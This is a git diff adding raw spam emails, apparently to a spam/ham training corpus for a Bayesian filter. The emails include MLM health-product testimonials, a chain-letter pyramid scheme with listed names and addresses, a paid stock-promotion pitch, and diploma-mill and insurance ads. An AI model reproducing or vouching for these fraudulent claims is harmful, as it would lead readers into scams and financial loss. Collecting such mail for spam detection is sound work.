+PRODUCT TESTIMONIALS + +I've been using the product for a little over a month. I took the "2 face challenge', and I could tell a difference in only 3 days! The lines on my face and the pores had changed! I have had people compliment my fingernails. They have been growing like crazy! C.C., OH + +This is a unique, one of a kind product. I have been using it 3 weeks and I can truly see a difference in the liver spots on my hands. The prescription from my dermatologist didn't do it, but this product did. M.F., MS + +I have been watching myself very closely, and since using the product, the brown spots on my hand have just about disappeared. The smile lines and the eyelids have really tightened up. No more problems putting my eyeliner on! The skin under my chin has really tightened up. This is not hard work, it is just sharing the product with family and friends. I have never been rewarded so quickly and so well. E.P., CA + +K.D., TX + +I was queen of skeptical. I did not want to try this. I am a 54 yr old grandmother. I have tried everything for years to get rid of cellulite - the creams, the wraps - nothing worked. My husband kept telling me to try this. Finally I did it just to get him off my back. I had not worn shorts for 5 years. After about 10 days, my husband started telling me my legs were looking better. I thought he was just being nice since he got me into this. Then I went shopping, and in the lights in the dressing room, for the first time in a long time I looked pretty good. I went into the next dressing room, because I thought the lights were wrong, but I still looked good. I ended up buying shorts, and have been wearing shorts for the 1st time in 5 years. Yes, it works!! G.C., TX + +We just had a booth at the women’s expo in Dallas. Out of the 300 or 400 exhibitors there, the only other spot that had the people we did were the ones giving out free food. V.C., TX + +I did the 1 side of the face test, and I did not tell my spouse that I was doing it. We went to get some fast food. He was looking at me, and said “I can tell you which side you are using it on. It’s your right side.” I asked what made him think so, and he said the lines around my mouth and eyes have softened, and the fine lines around my neck. We are tickled, because everyone we talk to wants it! J.D., TX + +“After using your product for less than a week, I ran into a friend who asked me what I was doing to look so YOUNG! I have a full- time job, but I have made $8,000 since starting this business part time!“ T.H.,Tx +--------------------------------------- +”I have found a system that works. I have 44 people in my group in less than a month! In one month I made over $6,000! “ B.M., NH +--------------------------------------------------------------- +”I am receiving 6 checks a month, and I do not even know where they are coming from!” W.T., TX +--------------------------------------------------------------- +”I have been in the company 3 weeks, and already have over 20 people in my group. This is the easiest thing I have ever done. All I do is tell them my story and give them the hotline number.” --------------------------------------------------------------- +At a restaurant, I went to the restroom with a girlfriend and was telling her about what this product does. We went back to the table, and in a few minutes 2 women walked up to me. They said they were in the stalls and overheard us talking, and wanted some of the product. I gave them a brochure, and noticed they went to 2 different tables. They weren't even together! J.M., TX +--------------------------------------------------------------- + + +...//WANT A PRODUCT THAT ACTUALLY WORKS… BUT CANNOT GET ANYWHERE ELSE??..\\\\ +THIS WILL BE THE FIRST EVER MOVED THROUGH NETWORK MARKETING.STAKE YOUR CLAIM NOW! + + +##########.. CLICK HERE for FREE NO OBLIGATION INFO:.. ########### + +**** mailto:younger10years@yahoo.com?subject=subscribe-Im-Your-Leader **** + + + + +Your email address was obtained from an opt-in list. If you wish to unsubscribe from this list please Click on reply with remove in the suject“REMOVE ME”, below, and Click send. + +xdhjmhoawofjkngdtfesh diff --git a/bayes/spamham/spam_2/00643.d177c04238b4299813b7d8cca9fb2f18 b/bayes/spamham/spam_2/00643.d177c04238b4299813b7d8cca9fb2f18 new file mode 100644 index 0000000..37555c1 --- /dev/null +++ b/bayes/spamham/spam_2/00643.d177c04238b4299813b7d8cca9fb2f18 @@ -0,0 +1,168 @@ +From ceu@insurancemail.net Mon Jun 24 17:49:00 2002 +Return-Path: ceu@insurancemail.net +Delivery-Date: Fri Jun 7 23:19:22 2002 +Received: from insiq5.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g57MJMG21875 for ; Fri, 7 Jun 2002 23:19:22 + +0100 +Received: from mail pickup service by insiq5.insuranceiq.com with + Microsoft SMTPSVC; Fri, 7 Jun 2002 18:18:23 -0400 +Subject: The Future of Continuing Education +To: +Date: Fri, 7 Jun 2002 18:18:23 -0400 +From: "IQ - CEU" +Message-Id: <14460101c20e71$3c955c70$7101a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Thread-Index: AcIOX3jQ3KJVnBprR/a513o9CQrfrw== +X-Mailer: Microsoft CDO for Windows 2000 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 07 Jun 2002 22:18:23.0234 (UTC) FILETIME=[3CB45620:01C20E71] +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_000_128E33_01C20E3D.F1BEC340" + +This is a multi-part message in MIME format. + +------=_NextPart_000_128E33_01C20E3D.F1BEC340 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + + +Select your state then press "GO" to view CE courses available +(AOL users click here + ) +AL AK AZ AR CA CO CT DE DC FL GA HI ID IL IN IA KS KY LA ME MD MA MI MN +MS MO MT NE NV NH NJ NM NY NC ND OH OK OR PA RI SC SD TN TX UT VT VA WA +WV WI WY +We don't want anyone to receive our mailings who does not wish to +receive them. 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    + + + +------=_NextPart_000_128E33_01C20E3D.F1BEC340-- diff --git a/bayes/spamham/spam_2/00644.0f0a6c387d64887571426d7e28367947 b/bayes/spamham/spam_2/00644.0f0a6c387d64887571426d7e28367947 new file mode 100644 index 0000000..35e8fac --- /dev/null +++ b/bayes/spamham/spam_2/00644.0f0a6c387d64887571426d7e28367947 @@ -0,0 +1,121 @@ +From intr0519c@bk.ru Mon Jun 24 17:49:01 2002 +Return-Path: intr0519c@bk.ru +Delivery-Date: Sat Jun 8 00:28:53 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g57NSGG24629 for + ; Sat, 8 Jun 2002 00:28:17 +0100 +Received: from ula-usrv51.brasilis (ip-f3-039.ctbctelecom.com.br + [200.225.227.39]) by mandark.labs.netnoteinc.com (8.11.6/8.11.2) with + ESMTP id g57NSDm18927 for ; Sat, 8 Jun 2002 00:28:14 + +0100 +Received: from vtomo6555.com (host217-35-104-98.in-addr.btopenworld.com + [217.35.104.98]) by ula-usrv51.brasilis (8.11.1/linuxconf) with SMTP id + g57Mf1V12746; Fri, 7 Jun 2002 19:41:01 -0300 +X-Rav-Antivirus: Este e-mail foi analisado em busca de virus em: + ula-usrv51.brasilis +Message-Id: <200206072241.g57Mf1V12746@ula-usrv51.brasilis> +From: "Interesting Products" +To: randcbou@gwi.net, mrbrown@cei.net, yyyy@netnoteinc.com, + guycrazy@right.net, shj@cypress.com, lindac@comfortback.com, + randd@usaserve.net, guyding@golden.net, dswartwo@bechtel.com, + dswartz@fgi.net, shjones@pdsinc.com, guyg@vpm.com, verevent@gamestats.com, + clip@xnet.com, guyh@inline.com, randell@premier.net, clipart@vpm.com, + jm@value.net, randell@webramp.net, randelle@ezzi.net, jm@wireweb.net, + lindad30@grove.net, clipper@bignet.net, dsweger@cfw.com, lindad@cwv.net +Cc: rander@portup.com, shlee@cmo.com, verhagen@chorus.net, + mrc54@connecti.com, guym@kinetica.com, lindad@sonic.net, + dswhite@webramp.net, jm_9@bmi.net, clippert@xnet.com, shlomo@seapen.com, + dswift@snet.net, lindae@eatel.net, jma@bostonpride.com, guyp@acadia.net, + clique@sierratel.com, shm@mccalla.com, veritas@utm.net, dswisher@scia.net, + veritech@sundial.net, dswl@direcpc.com, clit@mountain.net, + dsworth@netslyder.net, randerson@snet.net, randerson@usaserve.net +Date: Fri, 7 Jun 2002 15:41:46 -0700 +Subject: New.. Find out ANYTHING about ANYONE with your PC +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset=us-ascii +Content-Transfer-Encoding: 7bit + + + + + + + +
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    + +Thank you! Copyright © 2002, all rights reserved. + + + + [9^":}H&*] + + diff --git a/bayes/spamham/spam_2/00645.dd7d8ec1eb687c5966c516b720fcc3d5 b/bayes/spamham/spam_2/00645.dd7d8ec1eb687c5966c516b720fcc3d5 new file mode 100644 index 0000000..75cdcb3 --- /dev/null +++ b/bayes/spamham/spam_2/00645.dd7d8ec1eb687c5966c516b720fcc3d5 @@ -0,0 +1,636 @@ +From hitingitonthehead36@yahoo.co.uk Mon Jun 24 17:49:05 2002 +Return-Path: hitingitonthehead36@yahoo.co.uk +Delivery-Date: Sat Jun 8 07:07:09 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g58677G13962 for + ; Sat, 8 Jun 2002 07:07:07 +0100 +Received: from MailServer.motionenvelope.com (mail.motionenvelope.com + [204.181.113.82]) by mandark.labs.netnoteinc.com (8.11.6/8.11.2) with + ESMTP id g5865lm20004 for ; Sat, 8 Jun 2002 07:06:03 + +0100 +Received: from QRJATYDI (dca-29-b-74.dca.dsl.cerfnet.com [63.242.169.74]) + by MailServer.motionenvelope.com (8.9.3/8.8.8) with SMTP id BAA22340; + Sat, 8 Jun 2002 01:33:39 -0700 +Message-Id: <200206080833.BAA22340@MailServer.motionenvelope.com> +From: "The Networkers Mail Center" +To: +Subject: As Seen on National TV +X-Priority: 1 +X-Msmail-Priority: High +X-Mailer: Mail for AOL V. 2.3 +Date: Sat, 8 Jun 2002 1:5:13 +-0500 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1251" +X-Keywords: + +Dear Friends & Future Millionaire: + +Invest in technology that will make you +money. + +AS SEEN ON NATIONAL TV: +You can make over half million dollars every 4 to 5 +months from +your home? A one time investment of only +$25 U.S. Dollars +Puts you on the road to financial success. +ALL THANK'S TO THE COMPUTER AGE +AND THE +INTERNET! + +You can be A MILLIONAIRE LIKE OTHERS +WITHIN A YEAR!!! + +Before you say "Bull". Please read the +following. This is the +Letter you have been hearing about on the +news lately. Due to +The popularity of this letter on the Internet. +A national weekly +News program recently devoted an intire +show to the investigation of this +Program described below, to see if it really +can make people money. +The show also investigated whether or not +the program was legal. + +Their findings proved once and for that +there are "absolutely NO Laws +Prohibiting the participation in the program +and if people can follow +The simple instructions, they are bound to +make some mega bucks +With only $25 out of pocket cost". DUE TO +THE RECENT INCREASE +OF POPULARITY & RESPECT THIS +PROGRAM HAS ATTAINED, +IT IS CURRENTLY WORKING BETTER +THAN EVER. + +This is what one had to say: "Thanks to this +profitable +Opportunity. I was approached many times +before but each +Time I passed on it. I am so glad I finally +joined just to see +What one could expect in return for the +minimal effort and +Money required. To my astonishment, I +received a total of +$610,470.00 in 21 weeks, with money still +coming in." +Pam Hedland, Fort Lee, New Jersey. + + +Here is another testimonial: "This program +has been around +For a long time but I never believed in it. +But one day when I +Received this again in the mail I decided to +gamble my $25 on +It. I followed the simple instructions and +walaa ….. 3 weeks +Later the money started to come in. First +month I only made +$240.00 but the next 2 months after that I +made a total of $290,000.00 +so far, in the past 8 months by re-entering +the program, I have made over +$710,000.00 and I am playing it again. The +key to success in this program +is to follow the simple steps and NOT +change anything. "More +testimonials later but first, + +=PRINT THIS NOW FOR YOUR +FUTUREREFERENCE + +=============================== +=============== + + + + +If you would like to make at least $500,000 +every 4 to 5 +months easily and comfortably, please read +the +following...THEN READ IT AGAIN and +AGAIN!!! +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ +$$$$$$$$$$$$$$$ + +FOLLOW THE SIMPLE INSTRUCTION +BELOW AND +YOUR FINANCIAL DREAMS WILL COME +TRUE, +GUARANTEED! INSTRUCTIONS: + +=====Order all 5 reports shown on the list +below ===== + +For each report, send $5 CASH, THE +NAME & NUMBER +OF THE REPORT YOU ARE ORDERING +and YOUR E- +MAIL ADDRESS to the person whose +name appears ON THAT LIST next to the +report. MAKE +SURE YOUR RETURN ADDRESS IS ON +YOUR +ENVELOPE TOP LEFT CORNER in case +of any mail +problems. + +=== When you place your order, make sure +you order each of +the 5 reports. You will need all 5 reports so +that you can save +them on your computer and resell them. +YOUR TOTAL +COST $5 X 5=$25.00. + +Within a few days you will receive, vie e- +mail, each of the 5 +reports from these 5 different individuals. +Save them on your +computer so they will be accessible for you +to send to the +1,000's of people who will order them from +you. Also make a +floppy of these reports and keep them on +your desk in case +something happens to your computer. + +IMPORTANT - DO NOT alter the names of +the people who +are listed next to each report, or their +sequence on the list, in +any way other than what is instructed +below in step '' 1 +through 6 '' or you will loose the majority of +your profits. +Once you understand the way this works, +you will also see +how it does not work if you change it. +Remember, this +method has been tested, and if you alter, it +will NOT work !!! +People have tried to put their +friends/relatives names on all +five thinking they could get all the money. +But it does not +work this way. Believe us, we all have tried +to be greedy and +then nothing happened. So Do Not try to +change anything +other than what is instructed. Because if +you do, it will not +work for you. + +Remember, honesty reaps the reward!!! + +1.... After you have ordered all 5 reports, +take this +advertisement and REMOVE the name & +address of the +person in REPORT # 5. This person has +made it through the +cycle and is no doubt counting their fortune. +2.... Move the name & address in +REPORT # 4 down TO +REPORT # 5. +3.... Move the name & address in +REPORT # 3 down TO +REPORT # 4. +4.... Move the name & address in +REPORT # 2 down TO +REPORT # 3. +5.... Move the name & address in +REPORT # 1 down TO +REPORT # 2 +6.... Insert YOUR name & address in the +REPORT # 1 +Position. PLEASE MAKE SURE you copy +every name & +address ACCURATELY! + +=============================== +============= + +**** Take this entire letter, with the modified +list of names, +and save it on your computer. DO NOT +MAKE ANY OTHER +CHANGES. + +Save this on a disk as well just in case if +you loose any data. +To assist you with marketing your business +on the internet, the +5 reports you purchase will provide you with +invaluable +marketing information which includes how +to send bulk e- +mails legally, where to find thousands of +free classified ads +and much more. There are 2 Primary +methods to get this +venture going: METHOD # 1: BY +SENDING BULK E-MAIL +LEGALLY + +=============================== +============= + +Let's say that you decide to start small, just +to see how it goes, +and we will assume You and those +involved send out only +5,000 e-mails each. Let's also assume that +the mailing receive +only a 0.2% response (the response could +be much better but +lets just say it is only 0.2%. Also many +people will send out +hundreds of thousands e-mails instead of +only 5,000 each). +Continuing with this example, you send out +only 5,000 e- +mails. With a 0.2% response, that is only +10 orders for report # +1. Those 10 people responded by sending +out 5,000 e-mail +each for a total of 50,000. Out of those +50,000 e-mails only +0.2% responded with orders. +That's=100 people responded and ordered +Report # 2. + +Those 100 people mail out 5,000 e-mails +each for a total of +500,000 e-mails. The 0.2% response to +that is 1000 orders for +Report # 3. + +Those 1000 people send out 5,000 e-mails +each for a total of 5 +million e-mails sent out. The 0.2% response +to that is 10,000 +orders for report #4. Those 10,000 people +send out 5,000 e- +mails each for a total of 50,000,000 (50 +million) e-mails. The +0.2% response to that is 100,000 orders for +Report # 5. +THAT'S 100,000 ORDERS TIMES $5 +EACH=$500,000.00 +(half million). + +Your total income in this example is: 1..... +$50 + 2..... $500 + +3.....$5,000 + 4 . $50,000 + 5..... $500,000 +....... Grand +Total=$555,550.00 + +NUMBERS DO NOT LIE. GET A PENCIL +& PAPER AND +FIGUREOUT THE WORST POSSIBLE +RESPONSES AND +NO MATTER HOW YOU CALCULATE IT, +YOU WILL +STILL MAKE A LOT OF MONEY ! + +=============================== +============= + +REMEMBER FRIEND, THIS IS +ASSUMING ONLY 10 +PEOPLE ORDERING OUT OF 5,000 YOU +MAILED TO. +Dare to think for a moment what would +happen if everyone or +half or even one 4th of those people mailed +100,000e-mails +each or more? There are over 150 million +people on the +Internet worldwide and counting. Believe +me, many people +will do just that, and more! METHOD # 2 : +BY PLACING +FREE ADS ON THE INTERNET + +=============================== +============= + +Disclaimer: Your earnings and results are highly dependent on your +individual efforts and results. This web page constitutes no guarantees +of any income, whether stated nor implied. Any earnings projections +shown on this website are for example and educational purposes only. +Actual results will vary according to each individual member's activity. In +general, the more you work the plan the better your results. + + + +Advertising on the net is very very +inexpensive and there are +hundreds of FREE places to advertise. +Placing a lot of free ads +on the Internet will easily get a larger +response. We strongly +suggest you start with Method # 1 and +METHOD # 2 as you +go along. For every $5 you receive, all you +must do is e-mail +them the Report they ordered. That's it. +Always provide same +day service on all orders. This will +guarantee that the e-mail +they send out, with your name and address +on it, will be +prompt because they can not advertise until +they receive the +report. + +=========== AVAILABLE REPORTS +============ + +ORDER EACH REPORT BY ITS +NUMBER & NAME +ONLY. Notes: Always send $5 cash (U.S. +CURRENCY) for +each Report. Checks NOT +accepted. Make sure the cash is concealed +by wrapping it in at +least 2 sheets of paper. On one of those +sheets of paper, Write +the NUMBER & the NAME of the Report +you are ordering, +YOUR E-MAIL ADDRESS and your name +and postal +address. + +PLACE YOUR ORDER FOR THESE +REPORTS NOW : + +=============================== +============= + +REPORT # 1: "The Insider's Guide to +Advertising for Free on +the Net" Order Report #1 from: +Corey Timmons +2756 Davis Mills Road +Hephzibah, GA 30815 + +___________________________________ +_______________ +REPORT # 2: "The Insider's Guide to +Sending Bulk e-mail on +the Net" +Chester Waldvogel +11 Chestnut Way +Berlin, MD, 21811 + +___________________________________ +______________ +REPORT # 3: "Secret to Multilevel +Marketing on the Net" +Order Report # 3 from : +Daniel Lee +306 Spring Street +Hendersonville, NC 28739, USA + +___________________________________ +_______________ +REPORT # 4: "How to Become a +Millionaire Utilizing MLM +& the Net" Order Report # 4 from: +H.A. +416 3rd. Ave. West +Hendersonville, NC 28739, US + +____________________________ +______________________ +REPORT #5: "How to Send Out 0ne Million +e-mails for Free" +Order Report # 5 from: +Mike Manegold +Sonnenbergstrasse 40 +CH-8800, Thalwil (Switzerland) + + +___________________________________ +_______________ +$$$$$$$$$ YOUR SUCCESS +GUIDELINES $$$$$$$$$$$ + +Follow these guidelines to guarantee your +success: + +=== If you do not receive at least 10 orders +for Report #1 +within 2 weeks, continue sending e-mails +until you do. + +=== After you have received 10 orders, 2 +to 3 weeks after that +you should receive 100 orders or more for +REPORT # 2. If +you did not, continue advertising or sending +e-mails until you +do. + +=== Once you have received 100 or more +orders for Report # +2, YOU CAN RELAX, because the system +is already working +for you, and the cash will continue to roll in ! +THIS IS +IMPORTANT TO REMEMBER: +Every time your name is moved down on +the list, you are +placed in front of a Different report. You can +KEEP TRACK +of your PROGRESS by watching which +report people are +ordering from you. IF YOU WANT TO +GENERATE MORE +INCOME SEND ANOTHER BATCH OF E- +MAILS AND +START THE WHOLE PROCESS AGAIN. +There is NO +LIMIT to the income you can generate +from this business !!! + +=============================== +============= + +FOLLOWING IS A NOTE FROM THE +ORIGINATOR OF +THIS PROGRAM: You have just received +information that +can give you financial freedom for the rest +of your life, with +NO RISK and JUST A LITTLE BIT OF +EFFORT. You can +make more money in the next few weeks +and months than you +have ever imagined. Follow the program +EXACTLY AS +INSTRUCTED. Do Not change it in any +way. It works +exceedingly well as it is now. + +Remember to e-mail a copy of this exciting +report after you +have put your name and address in Report +#1 and moved +others to #2 ...........# 5 as instructed +above. One of the people +you send this to may send out 100,000 or +more e-mails and +your name will be on every one of them. + +Remember though, the more you send out +the more potential +customer you will reach. So my friend, I +have given you the +ideas, information, materials and +opportunity to become +financially independent. IT IS UP TO YOU +NOW ! + +======== MORE TESTIMONIALS +============ + +"My name is Mitchell. My wife, Jody and I +live in Chicago. I +am an accountant with a major U.S. +Corporation and I make +pretty good money. When I received this +program I grumbled +to Jody about receiving ''junk mail''. I made +fun of the whole +thing, spouting my knowledge of the +population and +percentages involved. I ''knew'' it wouldn't +work. Jody totally +ignored my supposed intelligence and few +days later she +jumped in with both feet. I made merciless +fun of her, and was +ready to lay the old ''I told you so'' on her +when the thing didn't +work. Well, the laugh was on me! Within 3 +weeks she had +received 50 responses. Within the next 45 +days she had +received total $ 147,200.00 ........... all +cash! I was +shocked. I have joined Jody in her ''hobby''. +Mitchell Wolf C.P.A., Chicago, Illinois + +=============================== +=========== + +''Not being the gambling type, it took me +several weeks to +make up my mind to participate in this plan. +But conservative +that I am, I decided that the initial +investment was so little that +there was just no way that I wouldn't get +enough orders to at +least get my money back''. '' I was +surprised when I found my +medium size post office box crammed with +orders. I made +$319,210.00in the first 12 weeks. The nice +thing about this +deal is that it does not matter where +people live. There simply +isn't a better investment with a faster return +and so big." Dan +Sondstrom, Alberta, Canada + +=============================== +============ + +''I had received this program before. I +deleted it, but later I +wondered if I should have given it a try. Of +course, I had no +idea who to contact to get another copy, so +I had to wait until I +was e-mailed again by someone +else.........11 months passed +then it luckily came again...... I did not +delete this one! I made +more than $490,000 on my first try and all +the money came +within 22 weeks." Susan De Suza, New +York, N.Y. + +=============================== +============= + +''It really is a great opportunity to make +relatively easy money +with little cost to you. I followed the simple +instructions + +carefully and within 10 days the money +started to come in. My +first month I made $20,560.00 and by the +end of third month +my total cash count was $362,840.00. Life +is beautiful, Thanks +to the internet.". Fred Dellaca, Westport, +New Zealand + +=============================== +============= + +ORDER YOUR REPORTS TODAY AND +GET STARTED +ON'YOUR' ROAD TO FINANCIAL +FREEDOM ! + +=============================== +============ + +Disclaimer: Your earnings and results are highly dependent on your +individual efforts and results. This web page constitutes no guarantees +of any income, whether stated nor implied. Any earnings projections +shown on this website are for example and educational purposes only. +Actual results will vary according to each individual member's activity. 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    = +
    PENDING MERGER TO INCREASE REVENU= +E 236%

    NOW IS THE TIME TO INVEST IN GWIH

    • GWIH is rapidly expanding through acquisitions. In th= +e 1st Quarter TWO mergers are in proces with a schedule to buy FOUR more= + profitable companies by the year end.

    • GWIH plans to file for NASDAQ. Stock prices historically increase wh= +en listed on NASDAQ.

    • +On June 30th, a year long Investor Relation and Public Awareness campai= +gn will be launched to build shareholder equity. SEVERAL well-known stoc= +k pick newsletters, TV, radio and newsgroups will provide coverage on GW= +IH and it's acquisitions.

    • All-Star = +Management Team with Advanced Degrees, Specialized Training, Proven Trac= +k Records and over 90 years Combined Experience. They are true Deal Make= +rs, Executors and Closers.

      Put GWIH on your watch list,&nb= +sp;AQUIRE A POSTION IN GWIH TODAY =21<= +/FONT>
    GWIH RECENT MERGERS and NEW BUSINES= +S DEVELOPMENTS:
    • Acquired Bechler Cams, founded in 1957, specialize= +s in precision high tolerance parts for aerospace, defense, medical, and= + surgical manufacturing sectors.
      CLICK FOR FULL STORY
    • Acquired Nelson Engineer= +ing, BOEING CERTIFIED supplier of aerospace and defense parts was recent= +ly awarded contracts with Lockheed Martin and Boeing that will result in= + MAJOR production increases.
      CLICK FOR FULL STORY


    CLICK FOR QUOTE

    <= +BR>
    +To unsubscribe simply reply to this email for permanent removal.= +<= +BR>
















    <= +BR>

    +Information within this publication contains =22forward looking=22 statem= +ents within the meaning of Section 27(a) of the U.S. Securities Act of 1= +933 and Section 21(e) of the U.S. Securities Exchange Act of 1934. Any s= +tatements that express or involve discussions with respect to prediction= +s, expectations, beliefs, plans, projections, objectives, goals, assumpt= +ions or future events or performance are not statements of historical fa= +cts and may be forward looking statements. Forward looking statements ar= +e based on expectations, estimates and projections at the time the state= +ments are made that involve a number of risks and uncertainties which co= +uld cause actual results or events to differ materially from those prese= +ntly anticipated. Forward looking statements may be identified through t= +he use of words such as expects, will, anticipates, estimates, believes,= + or by statements indicating certain actions may, could or might occur. = +Special Situation Alerts (SSA) is an independent publication. SSA was pa= +id =24100,000 in cash by an independent third party for circulation of th= +is publication. SSA and/or its Affiliates or agents may already own shar= +es in GWIH and sell all or part of these shares into the open market at = +the time of receipt of this publication or immediately after it has prof= +iled a particular company. SSA is not a registered investment advisor or= + a broker dealer Be advised that the investments in companies profiled a= +re considered to be high risk and use of the information provided is at = +the investor's sole risk and may result in the loss of some or all of th= +e investment. All information is provided by the companies profiled and = +SSA makes no representations, warranties or guarantees as to the accurac= +y or completeness of the disclosure by the profiled companies. Investors= + should NOT rely on the information presented. Rather, investors should = +use this information as a starting point for doing additional independen= +t research to allow the investor to form his or her own opinion regardin= +g investing in profiled companies. Factual statements as of the date sta= +ted and are subject to change without notice.
    URGENT NOTICE
    + +********** diff --git a/bayes/spamham/spam_2/00651.91e7858a180e7fa136c544c56e525b60 b/bayes/spamham/spam_2/00651.91e7858a180e7fa136c544c56e525b60 new file mode 100644 index 0000000..d483eb5 --- /dev/null +++ b/bayes/spamham/spam_2/00651.91e7858a180e7fa136c544c56e525b60 @@ -0,0 +1,106 @@ +From a_fardeen@sciofw.scio.co.jp Mon Jun 24 17:49:10 2002 +Return-Path: a_fardeen@sciofw.scio.co.jp +Delivery-Date: Sat Jun 8 17:46:34 2002 +Received: from ns1.lnprice.gov.cn ([202.96.65.180]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g58GkUG01879 for ; + Sat, 8 Jun 2002 17:46:31 +0100 +Date: Sat, 8 Jun 2002 17:46:31 +0100 +Message-Id: <200206081646.g58GkUG01879@dogma.slashnull.org> +Received: from sciofw.scio.co.jp (202.96.65.185 [202.96.65.185]) by + ns1.lnprice.gov.cn with SMTP (Microsoft Exchange Internet Mail Service + Version 5.5.1960.3) id LXL973A1; Sat, 8 Jun 2002 15:33:21 +0800 +Reply-To: +From: "URGENT NOTICE" +To: "Investor" <7121@register.com> +Subject: Defense Stocks -----> only Safe Bet in War Economy +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +
    = +
    PENDING MERGER TO INCREASE REVENU= +E 236%

    NOW IS THE TIME TO INVEST IN GWIH

    • GWIH is rapidly expanding through acquisitions. In th= +e 1st Quarter TWO mergers are in proces with a schedule to buy FOUR more= + profitable companies by the year end.

    • GWIH plans to file for NASDAQ. Stock prices historically increase wh= +en listed on NASDAQ.

    • +On June 30th, a year long Investor Relation and Public Awareness campai= +gn will be launched to build shareholder equity. SEVERAL well-known stoc= +k pick newsletters, TV, radio and newsgroups will provide coverage on GW= +IH and it's acquisitions.

    • All-Star = +Management Team with Advanced Degrees, Specialized Training, Proven Trac= +k Records and over 90 years Combined Experience. They are true Deal Make= +rs, Executors and Closers.

      Put GWIH on your watch list,&nb= +sp;AQUIRE A POSTION IN GWIH TODAY =21<= +/FONT>
    GWIH RECENT MERGERS and NEW BUSINES= +S DEVELOPMENTS:
    • Acquired Bechler Cams, founded in 1957, specialize= +s in precision high tolerance parts for aerospace, defense, medical, and= + surgical manufacturing sectors.
      CLICK FOR FULL STORY
    • Acquired Nelson Engineer= +ing, BOEING CERTIFIED supplier of aerospace and defense parts was recent= +ly awarded contracts with Lockheed Martin and Boeing that will result in= + MAJOR production increases.
      CLICK FOR FULL STORY


    CLICK FOR QUOTE

    <= +BR>
    +To unsubscribe simply reply to this email for permanent removal.= +<= +BR>
















    <= +BR>

    +Information within this publication contains =22forward looking=22 statem= +ents within the meaning of Section 27(a) of the U.S. Securities Act of 1= +933 and Section 21(e) of the U.S. Securities Exchange Act of 1934. Any s= +tatements that express or involve discussions with respect to prediction= +s, expectations, beliefs, plans, projections, objectives, goals, assumpt= +ions or future events or performance are not statements of historical fa= +cts and may be forward looking statements. Forward looking statements ar= +e based on expectations, estimates and projections at the time the state= +ments are made that involve a number of risks and uncertainties which co= +uld cause actual results or events to differ materially from those prese= +ntly anticipated. Forward looking statements may be identified through t= +he use of words such as expects, will, anticipates, estimates, believes,= + or by statements indicating certain actions may, could or might occur. = +Special Situation Alerts (SSA) is an independent publication. SSA was pa= +id =24100,000 in cash by an independent third party for circulation of th= +is publication. SSA and/or its Affiliates or agents may already own shar= +es in GWIH and sell all or part of these shares into the open market at = +the time of receipt of this publication or immediately after it has prof= +iled a particular company. SSA is not a registered investment advisor or= + a broker dealer Be advised that the investments in companies profiled a= +re considered to be high risk and use of the information provided is at = +the investor's sole risk and may result in the loss of some or all of th= +e investment. All information is provided by the companies profiled and = +SSA makes no representations, warranties or guarantees as to the accurac= +y or completeness of the disclosure by the profiled companies. Investors= + should NOT rely on the information presented. Rather, investors should = +use this information as a starting point for doing additional independen= +t research to allow the investor to form his or her own opinion regardin= +g investing in profiled companies. Factual statements as of the date sta= +ted and are subject to change without notice.
    URGENT NOTICE
    + +*** diff --git a/bayes/spamham/spam_2/00652.b8c5d053737017caa4c2d29c4e690573 b/bayes/spamham/spam_2/00652.b8c5d053737017caa4c2d29c4e690573 new file mode 100644 index 0000000..282d112 --- /dev/null +++ b/bayes/spamham/spam_2/00652.b8c5d053737017caa4c2d29c4e690573 @@ -0,0 +1,54 @@ +From adalzheimbln@msn.com Mon Jun 24 17:49:12 2002 +Return-Path: adalzheimbln@msn.com +Delivery-Date: Sat Jun 8 19:40:19 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g58IeJG05610 for + ; Sat, 8 Jun 2002 19:40:19 +0100 +Received: from 210.104.130.2 ([210.104.130.2]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with SMTP id g58IeFm21480 for + ; Sat, 8 Jun 2002 19:40:16 +0100 +Message-Id: <200206081840.g58IeFm21480@mandark.labs.netnoteinc.com> +Received: from [190.198.219.49] by a231242.upc-a.chello.nl with QMQP; + Jun, 08 2002 2:17:53 PM +1100 +Received: from ssymail.ssy.co.kr ([113.236.31.212]) by + a231242.upc-a.chello.nl with local; Jun, 08 2002 1:27:38 PM -0000 +Received: from [24.118.23.60] by n9.groups.yahoo.com with SMTP; + Jun, 08 2002 12:30:44 PM +0700 +From: rwktektite +To: tektite@mandark.labs.netnoteinc.com +Cc: +Subject: Obtain a diploma from your home/office !!! swi +Sender: rwktektite +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Sat, 8 Jun 2002 14:38:03 -0400 +X-Mailer: The Bat! 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    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: =20 + http://www.Insurancemail.net

